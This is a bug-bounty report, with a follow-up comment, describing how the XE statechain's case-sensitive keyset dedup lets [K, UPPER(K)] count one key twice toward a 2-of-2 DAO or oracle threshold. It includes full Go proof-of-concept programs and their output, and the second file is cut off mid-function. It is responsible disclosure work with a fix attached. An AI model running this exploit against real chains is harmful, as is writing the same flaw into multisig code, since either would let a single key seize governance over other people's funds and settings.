Bounty
XE-13390 · Bounty

[High] Statechain sys.dao_keyset accepts [K, UPPER(K)] as two distinct keys — one private key satisfies a 2-of-2 threshold

Closed · duplicate —claimed High xe#363 filed 2026-11-11 08:23 UTC by RahmaMaria

Report

H1 — HIGH — Statechain sys.dao_keyset case-sensitivity bypass

Title: [High] Statechain sys.dao_keyset accepts [K, UPPER(K)] as two distinct keys — one private key satisfies a 2-of-2 threshold


Summary

I found that the statechain's keyset validation and its signature verification disagree about what makes two keys "different". Validation dedups keyset entries on the raw key string, while verification decodes hex case-insensitively. So a keyset [K, UPPER(K)] with threshold 2 passes validation — the strings look different — but both entries decode to the same key, and one private key satisfies the whole threshold. I proved it twice on a local node with a self-made genesis: the plant block was accepted, and then a single key signed twice (once with a lowercase public_key, once uppercase) and the 2-of-2 check passed. The same shape is in sys.oracle and sys.minter validation too.

Suggested tier: High (10,000 XE).

My XE address for payout: d0a60d324b5f1d72fa06e79b92f0253241b85438a10c0ccac76c5f9b8135d8d4

How I found it

I was auditing how the statechain validates its governance keysets, because the DAO keyset is the root of trust for everything else (oracle, minter, tokenomics, phase, timekeepers). I started in statechain/kvstore.go at the sys.dao_keyset validation and saw the duplicate check is seen[k] — a map keyed on the raw string, no lower-casing anywhere. That looked fine on its own. Then I followed the verification path in statechain/chain.go (verifyMultisig) down to core/crypto.go:210, where the public key is decoded with hex.DecodeString. Go's hex.DecodeString accepts both cases. That was the mismatch: validation compares strings, verification compares decoded bytes.

I grepped for any normalisation — ToLower, ToUpper, any case folding — in statechain/ and api/. There is none. The core ledger, by contrast, lower-cases everything at ingest (core/ledger.go:711-729 normalizeBlockHex) and its ValidateKeyset dedups lower-cased (core/multisig.go:35-66). So the statechain is the one place where the two views of "same key" diverge.

I first tried to confirm this by inspection alone and almost stopped there, because the obvious objection is that planting still needs the current DAO threshold (2-of-3 on testnet-0005), so a single member cannot plant it alone. That is true and it is why I am calling this High, not Critical. But the consequence once planted is permanent and total: the single holder can then rotate sys.dao_keyset to themselves, rewrite sys.oracle, set sys.minter, sys.tokenomics, sys.phase, and sys.timekeepers — alone, forever. So I built the proof instead of theorizing.

Steps to reproduce

Local node harness only. No live testnet traffic, no faucet, no live DAO keys. The proof program is Go, uses statechain.GenerateTestGenesis plus an in-memory store, and uses fresh random keys on every run.

  1. Clone the repo and build a local node (Go 1.25). The proof program is proof-h1/main.go — run it with go run ., twice. Exit 0 means every assertion held.
  2. Run 1: genesis 8d924bd847c5875bdd467d00627d63485715f9065d4790f645e2b5ba46a9b586.
    • TEST 1 (plant): submit a statechain block setting sys.dao_keyset to {keys: [K, UPPER(K)], threshold: 2}, signed by 2 current DAO keys. Result: ACCEPTED. Plant block 55920036c2052db12480dde75e0823a9df96d1e72bd8ba87317034c0ad4e9840.
    • TEST 2 (exploit): submit a further DAO block with two signatures from the single private key K — one with a lowercase public_key, one with the uppercase form. Both signatures have identical bytes. Result: ACCEPTED — threshold 2 satisfied by one key.
  3. Run 2: genesis b4984824df420adf7dc93a021982af7ef0e73d6f213bf434a024dea7023b7363, plant fdaac4270dd0b0564aa7261a19d2e801f7c3dc271eabaa35e7b8b230dd21e836. Identical outcome: plant + exploit accepted.
  4. Negative controls (all rejected as expected):
    • Same-case duplicate [K, K] → rejected: dao_keyset key[1] is a duplicate.
    • Mixed [K, D1] where D1 is a different key not in the keyset → rejected: signer not in keyset.
    • Exact duplicate signer (same key, same case, twice) → rejected: duplicate signer.

The proof program (proof-h1/main.go, 221 lines) is pasted in full at the end of this report so triage can run it directly.

Impact

Planting needs 2 colluding DAO members (the current 2-of-3 threshold on testnet-0005; genesis has 3 distinct lowercase keys, threshold 2, so the bypass is not live in genesis). A single DAO member cannot plant it alone. That is the gating nuance and the reason this is High rather than Critical.

Once planted, though, the single holder has unilateral governance forever. They can change sys.dao_keyset to themselves alone, rewrite sys.oracle AllowedPrefix, set sys.minter, sys.tokenomics, sys.phase, and sys.timekeepers — all without any other member. There is no way back except a new keyset rotation, which the single holder now controls. The governance root of trust collapses to one key.

Root cause

Two functions disagree about key identity. Validation in statechain/kvstore.go (validateSysKeyValue, sys.dao_keyset case ~lines 64-95, sys.oracle case ~155-180, sys.minter same pattern) dedups on the raw string (seen[k]). Verification in statechain/chain.go (verifyMultisig :226-258, verifyOracleMultisig :360-395) goes through statechain/crypto.go:34 to core.VerifyHexSignature (core/crypto.go:210), which decodes with hex.DecodeString — case-insensitive. A keyset that passes validation can therefore contain the same key twice in different cases, and the threshold counts it twice.

Why this is not a duplicate

I read all 189 issues (open and closed) before filing, and re-checked the live issue list immediately before submitting. Zero hits for dao_keyset + case, dao_keyset + uppercase, or oracle + case + threshold.

The closest is #10 Finding 2, which is about sys.timekeepers lacking hex-decode and duplicate checks. #10's own text explicitly says dao_keyset/minter/oracle "strictly decode keys and enforce uniqueness (seen[k])" and treats them as protected — #10 does not discuss case-sensitivity at all, and #10's fix (raw seen[k] on timekeepers) does not fix this hole. This is a distinct root cause (a case-sensitivity gap in validation vs verification), though I flag the adjacency honestly: triage may see it as same-family as #10.

Suggested fix

Normalise keyset entries to lowercase (or decode-then-compare) before the duplicate check in validateSysKeyValue, for sys.dao_keyset, sys.oracle, and sys.minter. The core ledger already does this (normalizeBlockHex, ValidateKeyset dedups lower-cased) — the statechain should match it. A one-line strings.ToLower(k) before the seen[k] check closes all three.

What I deliberately did not test

I did not touch the live testnet DAO, did not attempt to plant anything on testnet-0005, and did not use or seek any live DAO keys. All testing was on a local node with a self-made genesis and keys I generated for the test. I also did not test whether the same case gap exists in any other keyset validation outside sys.dao_keyset / sys.oracle / sys.minter — I grepped statechain/ and api/ for normalisation and found none, but I did not exhaustively audit every keyset consumer.

Proof program

<details> <summary>proof-h1/main.go (221 lines — run with <code>go run .</code> twice; exit 0 = all assertions hold)</summary>

// H1 proof: statechain sys.dao_keyset case-sensitivity bypass.
// One ed25519 private key satisfies a 2-of-N threshold when the keyset
// contains the same key in two cases ([K, UPPER(K)]).
//
// Run: go run .  (twice; exit 0 = all assertions hold)
// Exits non-zero with a clear message if any expectation is violated.
package main

import (
	"crypto/ed25519"
	"crypto/rand"
	"encoding/hex"
	"encoding/json"
	"fmt"
	"os"
	"strings"
	"time"

	"github.com/xeprotocol/xe/statechain"
)

// memStore is a minimal in-memory StateChainStore for the proof.
type memStore struct {
	blocks map[uint64]*statechain.Block
}

func newMemStore() *memStore { return &memStore{blocks: make(map[uint64]*statechain.Block)} }

func (m *memStore) PutStateBlock(b *statechain.Block) error {
	m.blocks[b.Index] = b
	return nil
}
func (m *memStore) GetStateBlock(index uint64) (*statechain.Block, error) {
	b, ok := m.blocks[index]
	if !ok {
		return nil, nil
	}
	return b, nil
}
func (m *memStore) GetStateTip() (*statechain.Block, error) {
	var tip *statechain.Block
	for _, b := range m.blocks {
		if tip == nil || b.Index > tip.Index {
			tip = b
		}
	}
	return tip, nil
}
func (m *memStore) GetStateBlockRange(start, count uint64) ([]*statechain.Block, error) {
	var out []*statechain.Block
	for i := start; i < start+count; i++ {
		if b, ok := m.blocks[i]; ok {
			out = append(out, b)
		}
	}
	return out, nil
}
func (m *memStore) StateBlockCount() (uint64, error) { return uint64(len(m.blocks)), nil }

func mustKey() (ed25519.PrivateKey, string) {
	_, priv, err := ed25519.GenerateKey(rand.Reader)
	if err != nil {
		panic(err)
	}
	pub := priv.Public().(ed25519.PublicKey)
	return priv, hex.EncodeToString(pub)
}

func signBlock(b *statechain.Block, priv ed25519.PrivateKey) statechain.BlockSignature {
	sig, err := statechain.SignBlock(b, priv)
	if err != nil {
		panic(err)
	}
	return sig
}

// buildBlock constructs a statechain block with hash computed, unsigned.
func buildBlock(index uint64, prevHash string, ts int64, ops []statechain.Op) *statechain.Block {
	b := &statechain.Block{
		Index:      index,
		PrevHash:   prevHash,
		Ops:        ops,
		Signatures: []statechain.BlockSignature{},
		Timestamp:  ts,
	}
	h, err := statechain.HashBlock(b)
	if err != nil {
		panic(err)
	}
	b.Hash = h
	return b
}

func keysetOp(keys []string, threshold int) statechain.Op {
	ks := statechain.DAOKeyset{Keys: keys, Threshold: threshold}
	v, err := json.Marshal(ks)
	if err != nil {
		panic(err)
	}
	return statechain.Op{Action: statechain.ActionSet, Key: "sys.dao_keyset", Value: v}
}

func main() {
	fail := func(format string, args ...interface{}) {
		fmt.Printf("FAIL: "+format+"\n", args...)
		os.Exit(1)
	}
	ok := func(format string, args ...interface{}) {
		fmt.Printf("PASS: "+format+"\n", args...)
	}

	// --- Genesis DAO: 3 distinct keys, threshold 2 (all controlled here) ---
	d1, d1pub := mustKey()
	d2, d2pub := mustKey()
	_, d3pub := mustKey()
	fmt.Printf("genesis DAO keys: %s %s %s (threshold 2)\n", d1pub[:12], d2pub[:12], d3pub[:12])

	genesis, err := statechain.GenerateTestGenesis([]string{d1pub, d2pub, d3pub}, 2)
	if err != nil {
		fail("GenerateTestGenesis: %v", err)
	}
	chain, err := statechain.NewChain(newMemStore(), genesis)
	if err != nil {
		fail("NewChain: %v", err)
	}
	fmt.Printf("genesis hash: %s\n", genesis.Hash)

	// --- Attacker key K ---
	kPriv, kPub := mustKey()
	kUpper := strings.ToUpper(kPub)
	fmt.Printf("attacker key K: %s / UPPER: %s\n", kPub[:12], kUpper[:12])
	if kPub == kUpper {
		fail("attacker key has no lowercase hex chars; regenerate")
	}

	ts := time.Now().Unix()

	// === TEST 1 (plant): set sys.dao_keyset to [K, UPPER(K)] threshold 2,
	// signed by 2 current DAO keys (D1, D2). Expect ACCEPTED (the bug). ===
	plant := buildBlock(1, genesis.Hash, ts, []statechain.Op{keysetOp([]string{kPub, kUpper}, 2)})
	plant.Signatures = []statechain.BlockSignature{
		signBlock(plant, d1),
		signBlock(plant, d2),
	}
	if err := chain.AddBlock(plant); err != nil {
		fail("TEST 1 plant block REJECTED (expected ACCEPT): %v", err)
	}
	ok("TEST 1 plant accepted: keyset [K, UPPER(K)] threshold 2 stored (hash %s)", plant.Hash)
	ks := chain.DAOKeyset()
	fmt.Printf("      current keyset: keys=%v threshold=%d\n", ks.Keys, ks.Threshold)

	// === TEST 2 (exploit): a further DAO block signed ONLY by key K,
	// twice — once with lowercase public_key, once uppercase.
	// Expect ACCEPTED: one private key satisfies 2-of-2. ===
	proofOp := statechain.Op{
		Action: statechain.ActionSet,
		Key:    "proof.h1",
		Value:  json.RawMessage(`"single-key-2of2"`),
	}
	exploit := buildBlock(2, plant.Hash, ts+1, []statechain.Op{proofOp})
	sigLower := signBlock(exploit, kPriv)
	sigUpper := sigLower
	sigUpper.PublicKey = kUpper // same signature bytes, public_key in UPPER case
	if sigLower.Sig != sigUpper.Sig {
		fail("internal: signature bytes differ between cases")
	}
	exploit.Signatures = []statechain.BlockSignature{sigLower, sigUpper}
	if err := chain.AddBlock(exploit); err != nil {
		fail("TEST 2 exploit block REJECTED (expected ACCEPT): %v", err)
	}
	ok("TEST 2 exploit accepted: ONE private key satisfied threshold 2 (sigs %s / %s, identical sig bytes %s)",
		sigLower.PublicKey[:12], sigUpper.PublicKey[:12], sigLower.Sig[:16])
	v, found := chain.GetKV("proof.h1")
	fmt.Printf("      proof.h1 stored: %s (found=%v)\n", string(v), found)

	// === TEST 3 (negative control A): same-case duplicate keyset [K, K]
	// must be REJECTED by the existing duplicate check. ===
	chain2, err := statechain.NewChain(newMemStore(), genesis)
	if err != nil {
		fail("NewChain (control): %v", err)
	}
	dup := buildBlock(1, genesis.Hash, ts, []statechain.Op{keysetOp([]string{kPub, kPub}, 2)})
	dup.Signatures = []statechain.BlockSignature{signBlock(dup, d1), signBlock(dup, d2)}
	if err := chain2.AddBlock(dup); err == nil {
		fail("TEST 3 control: same-case duplicate keyset [K, K] ACCEPTED (expected REJECT)")
	} else {
		ok("TEST 3 control: same-case duplicate [K, K] rejected as expected: %v", err)
	}

	// === TEST 4 (negative control B): after planting, a block signed by K
	// once + an old DAO key D1 once must be REJECTED (D1 no longer in keyset).
	// Proves the keyset really changed and the exploit used only K. ===
	mixed := buildBlock(3, exploit.Hash, ts+2, []statechain.Op{{
		Action: statechain.ActionSet,
		Key:    "proof.h1b",
		Value:  json.RawMessage(`"mixed"`),
	}})
	mixed.Signatures = []statechain.BlockSignature{signBlock(mixed, kPriv), signBlock(mixed, d1)}
	if err := chain.AddBlock(mixed); err == nil {
		fail("TEST 4 control: K+D1 mixed block ACCEPTED (expected REJECT — D1 not in planted keyset)")
	} else {
		ok("TEST 4 control: K+D1 mixed block rejected as expected: %v", err)
	}

	// === TEST 5 (negative control C): same public_key string twice
	// (exact duplicate signer) must be REJECTED. ===
	dupSig := buildBlock(3, exploit.Hash, ts+2, []statechain.Op{{
		Action: statechain.ActionSet,
		Key:    "proof.h1c",
		Value:  json.RawMessage(`"dupsig"`),
	}})
	s := signBlock(dupSig, kPriv)
	dupSig.Signatures = []statechain.BlockSignature{s, s}
	if err := chain.AddBlock(dupSig); err == nil {
		fail("TEST 5 control: exact duplicate signer ACCEPTED (expected REJECT)")
	} else {
		ok("TEST 5 control: exact duplicate signer rejected as expected: %v", err)
	}

	fmt.Println("ALL H1 ASSERTIONS HELD — H1 CONFIRMED (case-sensitivity bypass: 1 key = 2-of-2)")
}

</details>

Thread

ariyanto182026-11-11 15:43 UTCgithub

Supplementary proof for the sys.oracle instance named above — executed oracle-path PoC

Confirming this report and adding the piece it didn't run: an end-to-end execution of the oracle path at HEAD (89a542ea51d38375299aee54c6c99102e9bfa666, Go 1.25, local in-process test only — no testnet traffic).

The oracle instance matters beyond the DAO path because of what epoch blocks control and when the bug activates:

  • Shipped genesis oracle is 1-of-1, so the oracle instance is inert today.
  • It goes live exactly when governance makes the safety-improving move of raising the oracle threshold to ≥2: a padded keyset [K, UPPER(K)] validates silently, and epoch publication — emission multiplier R, payout cap, and the TWAP that prices every lease settlement — stays under one private key while appearing multi-party. Planting still requires the current DAO threshold (2-of-3 on testnet-0005), same precondition as the DAO path here.

What the PoC executes (real statechain.ValidateOp + real Chain.AddBlock, in-memory StateChainStore, deterministic keys):

Step Result
ValidateOp([K, UPPER(K)], threshold 2) ACCEPTED — case-sensitive seen[k] dedup
ValidateOp([K, K]) (control) rejected: duplicate
ValidateOp([K, K2 distinct]) (control) accepted (baseline)
DAO block (2-of-2 DAO sigs) planting sys.oracle = [K, UPPER(K)] thr 2 ACCEPTED, stored verbatim
Epoch block, 1 signature (control) rejected: insufficient signatures
Epoch block, same spelling twice (control) rejected: duplicate signer
Epoch block, K + outsider key (control) rejected: signer not in keyset
Epoch block, 2 signatures from ONE private key (lowercase + UPPERCASE public_key, identical signature bytes) ACCEPTED — epoch.1 stored via verifyOracleMultisig
Honest keyset [K, K2], both keys sign (sanity) accepted (baseline intact)

Reproduce: place the test in a module with a replace directive to this repo and run go test -run TestC1OracleCaseVariant -v .

Agree with the suggested fix in the report — normalise (decode → canonical lowercase re-encode) before dedup and before counting, in validateSysKeyValue and in the keysetMap/seen construction in both verifiers, so stored legacy values can't resurrect the gap.

Full test code and output below.

<details> <summary>Test output (PASS, all subtests)</summary>

=== RUN   TestC1OracleCaseVariant
oracle key K (lower): c7a20332864c35a5b9872772388fbd000fd87e7d88ef02e9a7d355a3d540e808
oracle key K (UPPER): C7A20332864C35A5B9872772388FBD000FD87E7D88EF02E9A7D355A3D540E808
confirmed: hex.DecodeString(lower) == hex.DecodeString(UPPER) byte-for-byte
=== RUN   TestC1OracleCaseVariant/ValidateOp_accepts_case_variant_oracle_keyset
ValidateOp([K, UPPER(K)], threshold=2) => ACCEPTED (nil error)
=== RUN   TestC1OracleCaseVariant/ValidateOp_rejects_exact_duplicate
ValidateOp([K, K], threshold=2) => rejected as expected: op key "sys.oracle": oracle key[1] is a duplicate
=== RUN   TestC1OracleCaseVariant/ValidateOp_accepts_two_distinct_keys
ValidateOp([K, K2 distinct], threshold=2) => ACCEPTED (baseline)
genesis hash: 59368f66de270cd27e4184ba002278dcc4aa18e0e0c7c286256375e23fe48d90 (oracle=[K2] 1-of-1, DAO 2-of-2)
=== RUN   TestC1OracleCaseVariant/DAO_block_plants_evil_oracle_keyset
AddBlock(plant sys.oracle=[K, UPPER(K)] thr=2, DAO 2-of-2 sigs) => ACCEPTED; stored sys.oracle={"keys":["c7a20332864c35a5b9872772388fbd000fd87e7d88ef02e9a7d355a3d540e808","C7A20332864C35A5B9872772388FBD000FD87E7D88EF02E9A7D355A3D540E808"],"threshold":2,"allowed_prefix":"epoch."}
=== RUN   TestC1OracleCaseVariant/control_single_signature_rejected
epoch block, 1 sig from K => rejected as expected: insufficient oracle signatures: got 1, need 2
=== RUN   TestC1OracleCaseVariant/control_same_spelling_twice_rejected
epoch block, sigs [K, K] same spelling => rejected as expected: duplicate signer: c7a20332864c
=== RUN   TestC1OracleCaseVariant/control_outsider_key_rejected
epoch block, sigs [K, K2-not-in-keyset] => rejected as expected: signer 52e4505760e4 not in oracle keyset
=== RUN   TestC1OracleCaseVariant/EXPLOIT_one_key_satisfies_2of2_oracle
EXPLOIT CONFIRMED: epoch block ACCEPTED with 2 sigs from ONE private key (public_key c7a20332864c… + C7A20332864C…, identical sig bytes 539f7fddc2579ff1…); epoch.1 stored: {"epoch":1,"start_ns":1000,"end_ns":2000,"twap_milli_usd":0,"twav_milli_usd":0,"r_volume":2000,"r_price_floor":0,"r_effective":2000,"r_source":"volume","phase":1,"payout_cap":0}
=== RUN   TestC1OracleCaseVariant/honest_keyset_still_works
honest keyset [K, K2] 2-of-2: epoch block with both distinct keys => ACCEPTED (baseline intact)
--- PASS: TestC1OracleCaseVariant (0.01s)
    --- PASS: TestC1OracleCaseVariant/ValidateOp_accepts_case_variant_oracle_keyset (0.00s)
    --- PASS: TestC1OracleCaseVariant/ValidateOp_rejects_exact_duplicate (0.00s)
    --- PASS: TestC1OracleCaseVariant/ValidateOp_accepts_two_distinct_keys (0.00s)
    --- PASS: TestC1OracleCaseVariant/DAO_block_plants_evil_oracle_keyset (0.00s)
    --- PASS: TestC1OracleCaseVariant/control_single_signature_rejected (0.00s)
    --- PASS: TestC1OracleCaseVariant/control_same_spelling_twice_rejected (0.00s)
    --- PASS: TestC1OracleCaseVariant/control_outsider_key_rejected (0.00s)
    --- PASS: TestC1OracleCaseVariant/EXPLOIT_one_key_satisfies_2of2_oracle (0.00s)
    --- PASS: TestC1OracleCaseVariant/honest_keyset_still_works (0.00s)
PASS
ok  	poc	0.081s

</details>

<details> <summary>Full PoC test code (c1_oracle_case_test.go)</summary>

// C1 local PoC — XE Network statechain sys.oracle case-variant duplicate keys.
//
// Claim under test (candidate C1, triage step 1):
//   statechain/kvstore.go validateSysKeyValue ("sys.oracle" branch) dedups keys
//   with a case-sensitive map (seen[k] on the raw string), while
//   statechain/chain.go verifyOracleMultisig counts each stored spelling
//   separately and statechain/crypto.go VerifySignature ->
//   core.VerifyHexSignature decodes the public key with hex.DecodeString
//   (case-insensitive). A keyset [K, UPPER(K)] with threshold 2 therefore
//   passes validation, and ONE ed25519 private key satisfies the 2-of-2
//   oracle multisig by signing once per spelling.
//
// Everything runs in-process against an in-memory StateChainStore.
// No network, no testnet traffic, no accounts.
//
// Run: go test -run TestC1OracleCaseVariant -v .
package poc

import (
	"crypto/ed25519"
	"encoding/hex"
	"encoding/json"
	"fmt"
	"strings"
	"testing"

	"github.com/xeprotocol/xe/statechain"
)

// --- minimal in-memory StateChainStore (the "MemStore" of the step-1 plan) ---

type memStore struct {
	blocks map[uint64]*statechain.Block
}

func newMemStore() *memStore { return &memStore{blocks: make(map[uint64]*statechain.Block)} }

func (m *memStore) PutStateBlock(b *statechain.Block) error { m.blocks[b.Index] = b; return nil }

func (m *memStore) GetStateBlock(index uint64) (*statechain.Block, error) {
	b, ok := m.blocks[index]
	if !ok {
		return nil, nil
	}
	return b, nil
}

func (m *memStore) GetStateTip() (*statechain.Block, error) {
	var tip *statechain.Block
	for _, b := range m.blocks {
		if tip == nil || b.Index > tip.Index {
			tip = b
		}
	}
	return tip, nil
}

func (m *memStore) GetStateBlockRange(start, count uint64) ([]*statechain.Block, error) {
	var out []*statechain.Block
	for i := start; i < start+count; i++ {
		if b, ok := m.blocks[i]; ok {
			out = append(out, b)
		}
	}
	return out, nil
}

func (m *memStore) StateBlockCount() (uint64, error) { return uint64(len(m.blocks)), nil }

// --- helpers ---

func keyFromSeed(label string, seedByte byte) (ed25519.PrivateKey, string) {
	seed := make([]byte, ed25519.SeedSize)
	for i := range seed {
		seed[i] = seedByte + byte(i)
	}
	// Mix the label in so different labels give different keys.
	for i, c := range []byte(label) {
		seed[i%len(seed)] ^= c
	}
	priv := ed25519.NewKeyFromSeed(seed)
	pub := priv.Public().(ed25519.PublicKey)
	return priv, hex.EncodeToString(pub)
}

func buildBlock(t *testing.T, index uint64, prevHash string, ts int64, ops []statechain.Op) *statechain.Block {
	t.Helper()
	b := &statechain.Block{
		Index:      index,
		PrevHash:   prevHash,
		Ops:        ops,
		Signatures: []statechain.BlockSignature{},
		Timestamp:  ts,
	}
	h, err := statechain.HashBlock(b)
	if err != nil {
		t.Fatalf("HashBlock: %v", err)
	}
	b.Hash = h
	return b
}

func sign(t *testing.T, b *statechain.Block, priv ed25519.PrivateKey) statechain.BlockSignature {
	t.Helper()
	sig, err := statechain.SignBlock(b, priv)
	if err != nil {
		t.Fatalf("SignBlock: %v", err)
	}
	return sig
}

func oracleOp(t *testing.T, keys []string, threshold int) statechain.Op {
	t.Helper()
	oc := statechain.OracleConfig{Keys: keys, Threshold: threshold, AllowedPrefix: "epoch."}
	v, err := json.Marshal(oc)
	if err != nil {
		t.Fatalf("marshal oracle config: %v", err)
	}
	return statechain.Op{Action: statechain.ActionSet, Key: "sys.oracle", Value: v}
}

func epochOp(t *testing.T, key string) statechain.Op {
	t.Helper()
	// Epoch value crafted to pass statechain validateEpochValue with
	// sys.phase=1 and no sys.tokenomics in state:
	//   phase 1 -> s_milli must be 0; twap 0 -> r_collusion must be 0;
	//   r_effective = max(r_volume, r_price_floor) = 2000; r_source "volume".
	ev := statechain.EpochValue{
		Epoch:     1,
		StartNS:   1_000,
		EndNS:     2_000,
		RVolume:   2000,
		REffective: 2000,
		RSource:   "volume",
		Phase:     1,
		PayoutCap: 0,
	}
	v, err := json.Marshal(ev)
	if err != nil {
		t.Fatalf("marshal epoch value: %v", err)
	}
	return statechain.Op{Action: statechain.ActionSet, Key: key, Value: v}
}

// genesisWithOracle builds a genesis carrying a 2-of-2 DAO keyset
// (d1pub, d2pub), the given initial oracle config, and sys.phase=1.
func genesisWithOracle(t *testing.T, daoKeys []string, oracleKeys []string, oracleThreshold int) *statechain.Block {
	t.Helper()
	daoJSON, err := json.Marshal(statechain.DAOKeyset{Keys: daoKeys, Threshold: 2})
	if err != nil {
		t.Fatalf("marshal dao keyset: %v", err)
	}
	oracleJSON, err := json.Marshal(statechain.OracleConfig{Keys: oracleKeys, Threshold: oracleThreshold, AllowedPrefix: "epoch."})
	if err != nil {
		t.Fatalf("marshal oracle config: %v", err)
	}
	phaseJSON, err := json.Marshal(uint8(1))
	if err != nil {
		t.Fatalf("marshal phase: %v", err)
	}
	b := &statechain.Block{
		Index:    0,
		PrevHash: "0000000000000000000000000000000000000000000000000000000000000000",
		Ops: []statechain.Op{
			{Action: statechain.ActionSet, Key: "sys.dao_keyset", Value: daoJSON},
			{Action: statechain.ActionSet, Key: "sys.oracle", Value: oracleJSON},
			{Action: statechain.ActionSet, Key: "sys.phase", Value: phaseJSON},
		},
		Signatures: []statechain.BlockSignature{},
		Timestamp:  0,
	}
	h, err := statechain.HashBlock(b)
	if err != nil {
		t.Fatalf("HashBlock genesis: %v", err)
	}
	b.Hash = h
	return b
}

func TestC1OracleCaseVariant(t *testing.T) {
	// Deterministic keys.
	d1Priv, d1Pub := keyFromSeed("dao-1", 0x11)
	d2Priv, d2Pub := keyFromSeed("dao-2", 0x42)
	kPriv, kPub := keyFromSeed("oracle-attacker", 0x77)
	_, k2Pub := keyFromSeed("oracle-other", 0x99)
	k2Priv, _ := keyFromSeed("oracle-other", 0x99)

	kUpper := strings.ToUpper(kPub)
	if kPub == kUpper {
		t.Fatalf("test key %s has no a-f letters; case variant is vacuous — pick another seed", kPub)
	}
	fmt.Printf("oracle key K (lower): %s\noracle key K (UPPER): %s\n", kPub, kUpper)
	kb1, _ := hex.DecodeString(kPub)
	kb2, _ := hex.DecodeString(kUpper)
	if string(kb1) != string(kb2) {
		t.Fatalf("internal: lower/upper spellings decode to different bytes")
	}
	fmt.Println("confirmed: hex.DecodeString(lower) == hex.DecodeString(UPPER) byte-for-byte")

	// ---------- Part 1: ValidateOp directly ----------
	t.Run("ValidateOp_accepts_case_variant_oracle_keyset", func(t *testing.T) {
		op := oracleOp(t, []string{kPub, kUpper}, 2)
		if err := statechain.ValidateOp(op); err != nil {
			t.Fatalf("BUG NOT PRESENT: ValidateOp rejected [K, UPPER(K)] threshold 2: %v", err)
		}
		fmt.Println("ValidateOp([K, UPPER(K)], threshold=2) => ACCEPTED (nil error)")
	})

	t.Run("ValidateOp_rejects_exact_duplicate", func(t *testing.T) {
		op := oracleOp(t, []string{kPub, kPub}, 2)
		err := statechain.ValidateOp(op)
		if err == nil {
			t.Fatalf("control failed: ValidateOp accepted exact duplicate [K, K]")
		}
		fmt.Printf("ValidateOp([K, K], threshold=2) => rejected as expected: %v\n", err)
	})

	t.Run("ValidateOp_accepts_two_distinct_keys", func(t *testing.T) {
		op := oracleOp(t, []string{kPub, k2Pub}, 2)
		if err := statechain.ValidateOp(op); err != nil {
			t.Fatalf("control failed: ValidateOp rejected two distinct keys: %v", err)
		}
		fmt.Println("ValidateOp([K, K2 distinct], threshold=2) => ACCEPTED (baseline)")
	})

	// ---------- Part 2: full Chain.AddBlock flow ----------
	// Genesis oracle is benign: [K2] threshold 1.
	genesis := genesisWithOracle(t, []string{d1Pub, d2Pub}, []string{k2Pub}, 1)
	chain, err := statechain.NewChain(newMemStore(), genesis)
	if err != nil {
		t.Fatalf("NewChain: %v", err)
	}
	fmt.Printf("genesis hash: %s (oracle=[K2] 1-of-1, DAO 2-of-2)\n", genesis.Hash)

	// Block 1 (DAO path): rotate sys.oracle to the evil [K, UPPER(K)] 2-of-2.
	// Signed by BOTH current DAO keys — planting itself needs the DAO threshold,
	// exactly like the dao_keyset plant in GitHub issue #363.
	plant := buildBlock(t, 1, genesis.Hash, 100, []statechain.Op{oracleOp(t, []string{kPub, kUpper}, 2)})
	plant.Signatures = []statechain.BlockSignature{sign(t, plant, d1Priv), sign(t, plant, d2Priv)}

	t.Run("DAO_block_plants_evil_oracle_keyset", func(t *testing.T) {
		if err := chain.AddBlock(plant); err != nil {
			t.Fatalf("BUG NOT PRESENT at AddBlock: plant block rejected: %v", err)
		}
		raw, ok := chain.GetKV("sys.oracle")
		if !ok {
			t.Fatalf("sys.oracle missing after plant block")
		}
		fmt.Printf("AddBlock(plant sys.oracle=[K, UPPER(K)] thr=2, DAO 2-of-2 sigs) => ACCEPTED; stored sys.oracle=%s\n", string(raw))
	})

	// Negative controls against the planted 2-of-2 oracle (tip = plant block).
	// Failed AddBlock calls do not advance the tip, so all controls chain off plant.
	newEpochAttempt := func() *statechain.Block {
		return buildBlock(t, 2, plant.Hash, 200, []statechain.Op{epochOp(t, "epoch.1")})
	}

	t.Run("control_single_signature_rejected", func(t *testing.T) {
		blk := newEpochAttempt()
		blk.Signatures = []statechain.BlockSignature{sign(t, blk, kPriv)}
		err := chain.AddBlock(blk)
		if err == nil {
			t.Fatalf("control failed: epoch block with ONE signature accepted under threshold 2")
		}
		fmt.Printf("epoch block, 1 sig from K => rejected as expected: %v\n", err)
	})

	t.Run("control_same_spelling_twice_rejected", func(t *testing.T) {
		blk := newEpochAttempt()
		s := sign(t, blk, kPriv)
		blk.Signatures = []statechain.BlockSignature{s, s}
		err := chain.AddBlock(blk)
		if err == nil {
			t.Fatalf("control failed: epoch block with same spelling twice accepted")
		}
		fmt.Printf("epoch block, sigs [K, K] same spelling => rejected as expected: %v\n", err)
	})

	t.Run("control_outsider_key_rejected", func(t *testing.T) {
		blk := newEpochAttempt()
		blk.Signatures = []statechain.BlockSignature{sign(t, blk, kPriv), sign(t, blk, k2Priv)}
		err := chain.AddBlock(blk)
		if err == nil {
			t.Fatalf("control failed: epoch block with outsider key K2 accepted")
		}
		fmt.Printf("epoch block, sigs [K, K2-not-in-keyset] => rejected as expected: %v\n", err)
	})

	// The exploit: ONE private key, two signatures — identical signature bytes,
	// public_key spelled lowercase once and UPPERCASE once.
	t.Run("EXPLOIT_one_key_satisfies_2of2_oracle", func(t *testing.T) {
		blk := newEpochAttempt()
		sigLower := sign(t, blk, kPriv)
		sigUpper := sigLower
		sigUpper.PublicKey = kUpper
		if sigLower.Sig != sigUpper.Sig {
			t.Fatalf("internal: signature bytes differ between spellings")
		}
		blk.Signatures = []statechain.BlockSignature{sigLower, sigUpper}
		if err := chain.AddBlock(blk); err != nil {
			t.Fatalf("BUG NOT PRESENT at verify: epoch block rejected: %v", err)
		}
		v, found := chain.GetKV("epoch.1")
		if !found {
			t.Fatalf("epoch.1 not stored after accepted oracle block")
		}
		fmt.Printf("EXPLOIT CONFIRMED: epoch block ACCEPTED with 2 sigs from ONE private key "+
			"(public_key %s… + %s…, identical sig bytes %s…); epoch.1 stored: %s\n",
			sigLower.PublicKey[:12], sigUpper.PublicKey[:12], sigLower.Sig[:16], string(v))
	})

	// Sanity: an honest 2-of-2 oracle keyset still requires both distinct keys,
	// and both distinct keys together pass.
	t.Run("honest_keyset_still_works", func(t *testing.T) {
		g2 := genesisWithOracle(t, []string{d1Pub, d2Pub}, []string{k2Pub}, 1)
		ch2, err := statechain.NewChain(newMemStore(), g2)
		if err != nil {
			t.Fatalf("NewChain honest: %v", err)
		}
